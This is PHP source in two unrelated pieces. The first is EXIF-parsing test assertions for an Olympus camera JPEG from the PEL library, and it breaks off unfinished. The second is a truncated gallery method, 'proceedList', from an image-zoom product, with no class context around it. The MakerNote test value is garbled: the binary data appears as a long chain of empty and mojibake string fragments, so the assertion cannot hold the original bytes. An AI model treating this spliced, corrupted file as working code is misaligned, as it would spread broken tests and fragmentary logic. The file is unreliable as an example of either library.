$entry = $ifd0_0->getEntry(37383);
// MeteringMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 5);
$this->assertEqual($entry->getText(), 'Pattern');
$entry = $ifd0_0->getEntry(37384);
// LightSource
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Unknown');
$entry = $ifd0_0->getEntry(37385);
// Flash
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 16);
$this->assertEqual($entry->getText(), 'Flash did not fire, compulsory flash mode.');
$entry = $ifd0_0->getEntry(37386);
// FocalLength
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 109, 1 => 10));
$this->assertEqual($entry->getText(), '10.9 mm');
$entry = $ifd0_0->getEntry(37500);
// MakerNote
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'OLYMP' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'р' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ь' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'є' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ќ' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '4' . "" . '' . "" . '' . "" . '' . "" . '' . "" . ' ' . "" . ' ' . "" . '' . "" . '' . "" . 'L' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ю' . "" . '' . "" . 'l' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'd' . "" . '' . "" . '' . "" . 'd' . "" . '' . "" . '' . "" . 'њ' . "" . '' . "" . 'ш' . "" . '' . "" . 'џ џдўжџНџНџSX777' . "" . '' . "" . '' . "" . '[pictureInfo] Resolution=1 [Camera Info] Type=SX777' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'OLYMPUS DIGITAL CAMERA' . "" . 'џџџџџџџџџ4' . "" . '' . "" . '' . "" . '' . "" . 'џ' . "" . '' . "" . 'a1' . "" . '' . "" . 'у' . "" . '' . "" . ' ' . "" . '' . "" . 'ќ' . "" . '' . "" . '№' . "" . '' . "" . '№' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'd' . "" . 'Ч' . "" . '@' . "" . ' ' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '*' . "" . '' . "" . '' . "" . '' . "" . '*.' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '<' . "" . 'J' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'dќ' . "" . '' . "" . '' . "" . '' . "" . '""""""""""""""""""""Є~ы|Ё' . "" . '№Y' . "" . 'R' . "" . '' . "" . '
' . "" . '' . "" . '
' . "" . '' . "" . '
' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ЧoРh4' . "" . '' . "" . ' /
с' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'эк' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '@' . "" . 'ИN' . "" . ' Dsода' . "" . '' . "" . 'э' . "" . '' . "" . '' . "" . 'DќSH СV' . "" . '' . "" . '
Ь7h 8' . "" . '' . "" . 'џ )?&' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'Ї$уъ з' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'wwww\'
' . "" . 'с' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'i' . "" . 'OvY' . "" . '$7' . "" . ')*ћю2' . "" . '' . "" . '
' . "" . '6' . "" . 'nЁ$* R' . "" . '' . "" . '
n_' . "" . '');
$this->assertEqual($entry->getText(), '840 bytes unknown MakerNote data');
$entry = $ifd0_0->getEntry(37510);
// UserComment
$this->assertIsA($entry, 'PelEntryUserComment');
$this->assertEqual($entry->getValue(), ' ');
$this->assertEqual($entry->getText(), ' ');
$entry = $ifd0_0->getEntry(40960);
// FlashPixVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
$entry = $ifd0_0->getEntry(40961);
// ColorSpace
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'sRGB');
$entry = $ifd0_0->getEntry(40962);
// PixelXDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 2288);
$this->assertEqual($entry->getText(), '2288');
$entry = $ifd0_0->getEntry(40963);
// PixelYDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 1712);
$this->assertEqual($entry->getText(), '1712');
$entry = $ifd0_0->getEntry(41728);
// FileSource
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'DSC');
$entry = $ifd0_0->getEntry(41729);
// SceneType
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Directly photographed');
$entry = $ifd0_0->getEntry(41985);
// CustomRendered
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal process');
$entry = $ifd0_0->getEntry(41986);
// ExposureMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto exposure');
$entry = $ifd0_0->getEntry(41987);
// WhiteBalance
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto white balance');
$entry = $ifd0_0->getEntry(41988);
// DigitalZoomRatio
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 100));
$this->assertEqual($entry->getText(), '0/100');
$entry = $ifd0_0->getEntry(41990);
// SceneCaptureType
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Portrait');
$entry = $ifd0_0->getEntry(41991);
// GainControl
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41992);
// Contrast
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41993);
// Saturation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41994);
// Sharpness
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
/* Sub IFDs of $ifd0_0. */
$this->assertEqual(count($ifd0_0->getSubIfds()), 1);
$ifd0_0_0 = $ifd0_0->getSubIfd(4);
// IFD Interoperability
$this->assertIsA($ifd0_0_0, 'PelIfd');
/* Start of IDF $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getEntries()), 2);
$entry = $ifd0_0_0->getEntry(1);
// InteroperabilityIndex
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'R98');
$this->assertEqual($entry->getText(), 'R98');
$entry = $ifd0_0_0->getEntry(2);
// InteroperabilityVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
/* Sub IFDs of $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
$this->assertEqual($ifd0_0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_0_1 = $ifd0_0_0->getNextIfd();
$this->assertNull($ifd0_0_1);
/* End of IFD $ifd0_0_0. */
$this->assertEqual($ifd0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_1 = $ifd0_0->getNextIfd();
$this->assertNull($ifd0_1);
/* End of IFD $ifd0_0. */
$this->assertEqual($ifd0->getThumbnailData(), '');
/* Next IFD. */
$ifd1 = $ifd0->getNextIfd();
$this->assertIsA($ifd1, 'PelIfd');
/* End of IFD $ifd0. */
/* Start of IDF $ifd1. */
$this->assertEqual(count($ifd1->getEntries()), 4);
$entry = $ifd1->getEntry(259);
// Compression
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'JPEG compression');
$entry = $ifd1->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
/* Sub IFDs of $ifd1. */
$this->assertEqual(count($ifd1->getSubIfds()), 0);
$thumb_data = file_get_contents(dirname(__FILE__) . '/olympus-c765uz-thumb.jpg');
$this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
public function proceedList($zoom, $zoomTmp)
{
$pic_list_array = $zoom['config']['pic_list_array'];
$pic_list_data = $zoom['config']['pic_list_data'];
$picSave = $zoom['config']['pic'];
if (!$zoom['config']['imgFileOpt']) {
$zoom['config']['imgFileOpt'] = array();
}
if (!empty($pic_list_array) && !empty($pic_list_data)) {
settype($_GET['zoomID'], 'int');
reset($pic_list_array);
if (isset($_GET['zoomFile'])) {
if (in_array($_GET['zoomFile'], $pic_list_array)) {
$flipedArray = array_flip($pic_list_array);
$_GET['zoomID'] = $flipedArray[$_GET['zoomFile']];
}
}
if (!$_GET['zoomID'] or !array_key_exists($_GET['zoomID'], $pic_list_array)) {
$_GET['zoomID'] = key($pic_list_array);
$zoom['config']['pZoomID'] = false;
} else {
$zoom['config']['pZoomID'] = $_GET['zoomID'];
}
if (isset($pic_list_data[$_GET['zoomID']]['path'])) {
$startTime = microtime(true);
$zoom['config']['picDir'] = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash($zoom['config']['pic'] . '/' . $pic_list_data[$_GET['zoomID']]['path'], 'add'), 'add');
if (!is_dir($zoom['config']['picDir'])) {
$zoom['config']['picDir'] = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash('/' . $pic_list_data[$_GET['zoomID']]['path'], 'add'), 'add');
if (is_dir($zoom['config']['picDir'])) {
$zoom['config']['pic'] = '';
} else {
$zoom['config']['picDir'] = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash($zoom['config']['installPath'] . '/' . $pic_list_data[$_GET['zoomID']]['path'], 'add'), 'add');
if (is_dir($zoom['config']['picDir'])) {
$zoom['config']['pic'] = $zoom['config']['installPath'];
}
}
}
$this->readTime['findPathFirstImage1'] = $this->endTimeDiff($startTime);
}
if (!isset($_GET['zoomData']) && !file_exists($zoom['config']['picDir'] . $pic_list_array[$_GET['zoomID']])) {
unset($_GET['zoomID']);
$pic_list_temp_array = $pic_list_array;
$zoomTmp['errorImages'] = array();
$startTime = microtime(true);
foreach ($pic_list_array as $k => $v) {
if (isset($pic_list_data[$k]['path'])) {
$zoom['config']['picDir'] = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash($zoom['config']['pic'] . '/' . $pic_list_data[$k]['path'], 'add'), 'add');
}
if (file_exists($zoom['config']['picDir'] . $pic_list_array[$k])) {
if (!$zoomTmp['picFound']) {
$_GET['zoomID'] = $k;
$zoomTmp['picFound'] = $k;
}
} else {
$zoomTmp['errorImages'][$k] = $zoom['config']['picDir'] . $pic_list_array[$k];
unset($pic_list_temp_array[$k]);
unset($pic_list_data[$k]);
}
}
$this->readTime['findPathFirstImage2'] = $this->endTimeDiff($startTime);
if ($zoom['config']['errors'] && !empty($zoomTmp['errorImages'])) {
$zoomTmp['fileErrorTitle'] = "Error images missing";
foreach ($zoomTmp['errorImages'] as $k => $v) {
$zoomTmp['fileErrorText'] .= "<li>{$v}</li> ";
}
$zoomTmp['fileErrorText'] = "<ul>" . $zoomTmp['fileErrorText'] . "</ul>";
$this->fileErrorDialog = "<script type=\"text/javascript\">jQuery.fn.axZm.zoomAlert('" . $zoomTmp['fileErrorText'] . "','" . $zoomTmp['fileErrorTitle'] . "',false);</script>";
}
$pic_list_array = $pic_list_temp_array;
}
$zoom['config']['pic_list_array'] = $pic_list_array;
$zoom['config']['pic_list_data'] = $pic_list_data;
if ($zoom['config']['exifAutoRotation'] && !isset($_GET['str']) && !isset($_GET['qq']) && !isset($_GET['setHW']) && !defined('PHALANGER')) {
$pelLib = false;
if (file_exists(dirname(__FILE__) . '/classes/pel/PelJpeg.php')) {
$pelLib = true;
require_once dirname(__FILE__) . '/classes/pel/PelDataWindow.php';
require_once dirname(__FILE__) . '/classes/pel/PelJpeg.php';
require_once dirname(__FILE__) . '/classes/pel/PelTiff.php';
}
$startTime = microtime(true);
foreach ($pic_list_array as $k => $v) {
if (strtolower($this->getl('.', $v)) == 'jpg' || strtolower($this->getl('.', $v)) == 'jpeg') {
if (isset($pic_list_data[$k]['path'])) {
$tempPicDir = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash($zoom['config']['pic'] . '/' . $pic_list_data[$k]['path'], 'add'), 'add');
} else {
$tempPicDir = $zoom['config']['picDir'];
}
$aryEXIF = array();
$aryEXIF = exif_read_data($tempPicDir . $v);
if (isset($aryEXIF["Orientation"]) && ($aryEXIF["Orientation"] == 6 || $aryEXIF["Orientation"] == 8 || $aryEXIF["Orientation"] == 3)) {
$angle = 0;
if ($aryEXIF["Orientation"] == 6) {
$angle = 270;
} elseif ($aryEXIF["Orientation"] == 8) {
$angle = 90;
} elseif ($aryEXIF["Orientation"] == 3) {
$angle = 180;
}
if ($angle != 0) {
if (is_writable($tempPicDir . $v)) {
$this->removeAxZm($zoom, $v, array('In' => true, 'Th' => true, 'tC' => true, 'mO' => true, 'Ti' => true, 'gP' => true), false);
if ($pelLib) {
$sourceExifFile = new PelJpeg($tempPicDir . $v);
$sourceExifInfo = $sourceExifFile->getExif();
}
if ($zoom['config']['im']) {
$arrAngle = array('270' => '90', '90' => '-90', '180' => '180');
$convertString = $this->whichConvert($zoom['config']['imPath']) . " '" . $tempPicDir . $v . "' -rotate '" . $arrAngle[$angle] . "' '" . $tempPicDir . $v . "'";
$convertString = $this->imQuotes($zoom, $convertString);
exec($convertString);
} else {
$rotatedImage = $this->rotateImage($tempPicDir . $v, $angle);
imagejpeg($rotatedImage, $tempPicDir . $v, 100);
}
if ($pelLib) {
$outputExifFile = new PelJpeg($tempPicDir . $v);
if ($sourceExifInfo != null) {
$outputExifFile->setExif($sourceExifInfo);
file_put_contents($tempPicDir . $v, $outputExifFile->getBytes());
}
$this->exifOrientation($tempPicDir . $v, $tempPicDir . $v);
}
$pic_list_data[$k]['imgSize'] = $this->axZm->imageSize($tempPicDir . $v, $zoom['config']['im'], false);
} else {
if ($zoom['config']['errors']) {
echo 'alert("' . $tempPicDir . $v . ' is not writable by PHP.");';
}
}
}
}
}
$zoom['config']['pic_list_data'] = $pic_list_data;
}
$this->readTime['exifAutoRotation'] = $this->endTimeDiff($startTime);
}
if ($zoom['config']['cTimeCompare'] && !isset($_GET['setHW']) && !isset($_GET['str']) && !isset($_GET['qq'])) {
$this->cTimeCompare($zoom);
}
if (isset($_GET['zoomID']) && !isset($_GET['qq'])) {
if (isset($pic_list_data[$_GET['zoomID']]['path'])) {
$zoom['config']['picDir'] = $this->checkSlash($zoom['config']['fpPP'] . $this->checkSlash($zoom['config']['pic'] . '/' . $pic_list_data[$_GET['zoomID']]['path'], 'add'), 'add');
}
$zoom['config']['orgImgName'] = $pic_list_array[$_GET['zoomID']];
if ($pic_list_data[$_GET['zoomID']]['imgSize']) {
$zoom['config']['orgImgSize'] = $pic_list_data[$_GET['zoomID']]['imgSize'];
} else {
$zoom['config']['orgImgSize'] = $this->axZm->imageSize($zoom['config']['picDir'] . $zoom['config']['orgImgName'], $zoom['config']['im'], false);
}
$zoom['config']['smallImgName'] = $this->composeFileName($pic_list_array[$_GET['zoomID']], $zoom['config']['picDim'], '_', $this->pngMod($zoom));
$imageSlicer = $zoom['config']['imageSlicer'];
if (!is_array($imageSlicer)) {
$imageSlicer = array();
}
$slicerPostArr = array('zoomID' => $_GET['zoomID'], 'example' => $_GET['example'], 'pic' => $zoom['config']['pic'], 'pic_list_data' => serialize(array($_GET['zoomID'] => $pic_list_data[$_GET['zoomID']])), 'pic_list_array' => serialize(array($_GET['zoomID'] => $pic_list_array[$_GET['zoomID']])));
if ($imageSlicer['enabled'] && !empty($imageSlicer['parameters'])) {
foreach ($imageSlicer['parameters'] as $a => $b) {
if (isset($_GET[$b])) {
$slicerPostArr[$b] = $_GET[$b];
}
}
}
$checkInitialImage = true;
if (!$zoom['config']['imgFileOpt']['noMakeFirstImage']) {
if ($zoom['config']['stepPicDim'] && is_array($zoom['config']['stepPicDim']) && !empty($zoom['config']['stepPicDim'])) {
foreach ($zoom['config']['stepPicDim'] as $k => $v) {
if ((int) $v['w'] && (int) $v['h'] && !file_exists($zoom['config']['thumbDir'] . $this->md5path($zoom['config']['orgImgName'], $zoom['config']['subfolderStructure']) . '/' . $this->composeFileName($zoom['config']['orgImgName'], (int) $v['w'] . 'x' . (int) $v['h'], '_', $this->pngMod($zoom)))) {
$checkInitialImage = false;
break;
}
}
} else {
$checkInitialImage = file_exists($zoom['config']['thumbDir'] . $this->md5path($zoom['config']['orgImgName'], $zoom['config']['subfolderStructure']) . $zoom['config']['smallImgName']);
}
}
if (!$checkInitialImage) {
if ($imageSlicer['enabled']) {
$slicerPostArr['task'] = 'makeFirstImage';
$this->returnMakeFirstImage = $this->httpRequestQuery($imageSlicer['method'], $imageSlicer['host'], $imageSlicer['port'], $imageSlicer['uri'], $imageSlicer['timeout'], $imageSlicer['method'] == 'GET' ? $slicerPostArr : array(), $imageSlicer['method'] == 'POST' ? $slicerPostArr : array(), $imageSlicer['headers']);
} else {
$startTime = microtime(true);
$this->returnMakeFirstImage = $this->axZm->makeFirstImage($zoom, false);
$this->readTime['makeFirstImage1'] = $this->endTimeDiff($startTime);
}
} elseif ($zoom['config']['mapOwnImage'] && !$zoom['config']['imgFileOpt']['noMakeMapImage']) {
if (!isset($zoom['config']['mapDir'])) {
$zoom['config']['mapDir'] = $this->checkSlash($zoom['config']['fpPP'] . $zoom['config']['mapPath'], 'add');
}
if (!file_exists($zoom['config']['mapDir'] . $this->composeFileName($zoom['config']['orgImgName'], $zoom['config']['mapOwnImage'], '_', $this->pngMod($zoom)))) {
if ($imageSlicer['enabled']) {
$slicerPostArr['task'] = 'makeMapImage';
$this->returnMakeFirstImage = $this->httpRequestQuery($imageSlicer['method'], $imageSlicer['host'], $imageSlicer['port'], $imageSlicer['uri'], $imageSlicer['timeout'], $imageSlicer['method'] == 'GET' ? $slicerPostArr : array(), $imageSlicer['method'] == 'POST' ? $slicerPostArr : array(), $imageSlicer['headers']);
} else {
$startTime = microtime(true);
$this->returnMakeFirstImage = $this->axZm->makeFirstImage($zoom, true);
$this->readTime['makeFirstImage2'] = $this->endTimeDiff($startTime);
}
}
}
$startTime = microtime(true);
if ($zoom['config']['imgFileOpt']['noMakeFirstImage']) {
$zoom['config']['smallImgSize'] = $this->virtualResize($pic_list_data[$_GET['zoomID']]['imgSize'], array($zoom['config']['picX'], $zoom['config']['picY']));
} else {
$zoom['config']['smallImgSize'] = $this->axZm->imageSize($zoom['config']['thumbDir'] . $this->md5path($zoom['config']['orgImgName'], $zoom['config']['subfolderStructure']) . $zoom['config']['smallImgName'], $zoom['config']['im'], false);
}
$this->readTime['smallImgSizeDim'] = $this->endTimeDiff($startTime);
if ($zoom['config']['imgFileOpt']['getFileSize']) {
$startTime = microtime(true);
$zoom['config']['smallFileSize'] = filesize($zoom['config']['thumbDir'] . $this->md5path($zoom['config']['orgImgName'], $zoom['config']['subfolderStructure']) . $zoom['config']['smallImgName']);
$this->readTime['smallImgFileSize'] = $this->endTimeDiff($startTime);
}
if (isset($_GET['setHW'])) {
echo "<script type=\"text/javascript\">";
echo "\r\n\t\t\t\t\tjQuery.axZm.iw=" . $this->ptj($zoom['config']['smallImgSize'][0]) . ";\r\n\t\t\t\t\tjQuery.axZm.ih=" . $this->ptj($zoom['config']['smallImgSize'][1]) . ";\r\n\t\t\t\t\t";
echo "</script>\r\n\t\t\t\t\t";
if (!is_bool($this->returnMakeFirstImage)) {
echo $this->returnMakeFirstImage;
}
}
if (!isset($_GET['str'])) {
if (!isset($_GET['setHW'])) {
$firstThumbSize = null;
$startTime = microtime(true);
foreach ($pic_list_array as $k => $v) {
$zoomTmp['smallImgNameTemp'] = $this->composeFileName($v, $zoom['config']['picDim'], '_', $this->pngMod($zoom));
if ($zoom['config']['imgFileOpt']['noMakeFirstImage']) {
$pic_list_data[$k]['thumbSize'] = $this->virtualResize($pic_list_data[$k]['imgSize'], array($zoom['config']['picX'], $zoom['config']['picY']));
} else {
if (file_exists($zoom['config']['thumbDir'] . $this->md5path($v, $zoom['config']['subfolderStructure']) . $zoomTmp['smallImgNameTemp'])) {
if ($firstThumbSize && ($zoom['config']['imgFileOpt']['sameAspectRatio'] || $zoom['config']['imgFileOpt']['sameSize'] || $zoom['config']['spinMod'])) {
$pic_list_data[$k]['thumbSize'] = $firstThumbSize;
} else {
$pic_list_data[$k]['thumbSize'] = $this->axZm->imageSize($zoom['config']['thumbDir'] . $this->md5path($v, $zoom['config']['subfolderStructure']) . $zoomTmp['smallImgNameTemp'], $zoom['config']['im'], false);
}
if (!$firstThumbSize) {
$firstThumbSize = $pic_list_data[$k]['thumbSize'];
}
} else {
$pic_list_data[$k]['thumbSize'] = false;
}
}
}
$this->readTime['smallImgSizeDimAll'] = $this->endTimeDiff($startTime);
$zoom['config']['pic_list_data'] = $pic_list_data;
if ((!isset($zoom['config']['galleryNoThumbs']) || $zoom['config']['galleryNoThumbs'] === false) && !$zoom['config']['imgFileOpt']['noMakeAllThumbs']) {
if ($imageSlicer['enabled']) {
$slicerPostThumbsArr = array('task' => 'makeAllThumbs', 'zoomID' => $_GET['zoomID'], 'example' => $_GET['example'], 'pic' => $zoom['config']['pic'], 'pic_list_data' => serialize($pic_list_data), 'pic_list_array' => serialize($pic_list_array));
if (!empty($imageSlicer['parameters'])) {
foreach ($imageSlicer['parameters'] as $a => $b) {
if (isset($_GET[$b])) {
$slicerPostThumbsArr[$b] = $_GET[$b];
}
}
}
$this->returnMakeAllThumbs = $this->httpRequestQuery($imageSlicer['method'], $imageSlicer['host'], $imageSlicer['port'], $imageSlicer['uri'], $imageSlicer['timeout'], $imageSlicer['method'] == 'GET' ? $slicerPostThumbsArr : array(), $imageSlicer['method'] == 'POST' ? $slicerPostThumbsArr : array(), $imageSlicer['headers']);
} else {
$startTime = microtime(true);
$this->returnMakeAllThumbs = $this->axZm->makeAllThumbs($zoom);
$this->readTime['makeAllThumbs'] = $this->endTimeDiff($startTime);
}
} else {
$this->returnMakeAllThumbs = false;
}
}
if ($zoom['config']['gPyramid'] && $zoom['config']['gPyramidDir']) {
$startTime = microtime(true);
if (!$zoom['config']['imgFileOpt']['noMakeGpyramid']) {
$zoomTmp['gPyramidPicDir'] = $zoom['config']['gPyramidDir'] . $this->md5path($zoom['config']['orgImgName'], $zoom['config']['subfolderStructure']) . $this->getf('.', $zoom['config']['orgImgName']);
$zoomTmp['gPyramidPicDirExists'] = is_dir($zoomTmp['gPyramidPicDir']);
if (!$zoomTmp['gPyramidPicDirExists']) {
if ($imageSlicer['enabled']) {
$slicerPostArr['task'] = 'gPyramid';
$this->returnMakeZoomTiles = $this->httpRequestQuery($imageSlicer['method'], $imageSlicer['host'], $imageSlicer['port'], $imageSlicer['uri'], $imageSlicer['timeout'], $imageSlicer['method'] == 'GET' ? $slicerPostArr : array(), $imageSlicer['method'] == 'POST' ? $slicerPostArr : array(), $imageSlicer['headers']);
} else {
$this->returnMakeZoomTiles = $this->axZm->gPyramid($zoom);
}
if (isset($_GET['setHW']) && !is_bool($this->returnMakeZoomTiles)) {
echo $this->returnMakeZoomTiles;
}
}
}
$this->readTime['gPyramid'] = $this->endTimeDiff($startTime);
}
if ($zoom['config']['pyrTiles'] && $zoom['config']['pyrTilesDir']) {
$startTime = microtime(true);
if (!$zoom['config']['imgFileOpt']['noMakeZoomTiles'] && ($zoom['config']['orgImgSize'][0] >= $zoom['config']['tileSize'] || $zoom['config']['orgImgSize'][1] >= $zoom['config']['tileSize'])) {
$this->returnMakeZoomTiles = $this->axZm->zC($zoom, false);
if (!$zoom['config']['imgFileOpt']['noMakeZoomTiles'] && !$this->tileExists($zoom, $zoom['config']['orgImgName'])) {
if ($imageSlicer['enabled']) {
$slicerPostArr['task'] = 'makeZoomTiles';
$this->returnMakeZoomTiles = $this->httpRequestQuery($imageSlicer['method'], $imageSlicer['host'], $imageSlicer['port'], $imageSlicer['uri'], $imageSlicer['timeout'], $imageSlicer['method'] == 'GET' ? $slicerPostArr : array(), $imageSlicer['method'] == 'POST' ? $slicerPostArr : array(), $imageSlicer['headers']);
} else {
$this->returnMakeZoomTiles = $this->axZm->makeZoomTiles($zoom);
}
}
if (isset($_GET['setHW']) && !is_bool($this->returnMakeZoomTiles) && $this->returnMakeZoomTiles) {
echo $this->returnMakeZoomTiles;
}
}
$this->readTime['makeZoomTiles'] = $this->endTimeDiff($startTime);
}
if (!isset($_GET['setHW'])) {
$startTime = microtime(true);
foreach ($pic_list_data as $k => $v) {
$zoom['config']['galArray'][$k]['img'] = $v['fileName'];
$zoom['config']['galArray'][$k]['ow'] = $v['imgSize'][0];
$zoom['config']['galArray'][$k]['oh'] = $v['imgSize'][1];
$zoom['config']['galArray'][$k]['iw'] = $v['thumbSize'][0];
$zoom['config']['galArray'][$k]['ih'] = $v['thumbSize'][1];
$zoom['config']['galArray'][$k]['tD'] = $v['thumbDescr'];
$zoom['config']['galArray'][$k]['fD'] = $v['fullDescr'];
$zoom['config']['galArray'][$k]['mf'] = false;
$zoom['config']['galArray'][$k]['mk'] = false;
if ($zoom['config']['useMap'] && !$zoom['config']['imgFileOpt']['noMakeMapImage'] && $zoom['config']['mapOwnImage'] && $zoom['config']['mapDir']) {
$ownImageSize = explode('x', $zoom['config']['mapOwnImage']);
$ownImageName = $this->composeFileName($v['fileName'], $ownImageSize[0] . 'x' . $ownImageSize[1], '_', $this->pngMod($zoom));
if (!file_exists($zoom['config']['mapDir'] . $this->md5path($v['fileName'], $zoom['config']['subfolderStructure']) . $ownImageName)) {
$zoom['config']['galArray'][$k]['mf'] = true;
}
}
if ($zoom['config']['stepPicDim'] && !$zoom['config']['imgFileOpt']['noMakeFirstImage'] && is_array($zoom['config']['stepPicDim']) && !empty($zoom['config']['stepPicDim'])) {
foreach ($zoom['config']['stepPicDim'] as $a => $b) {
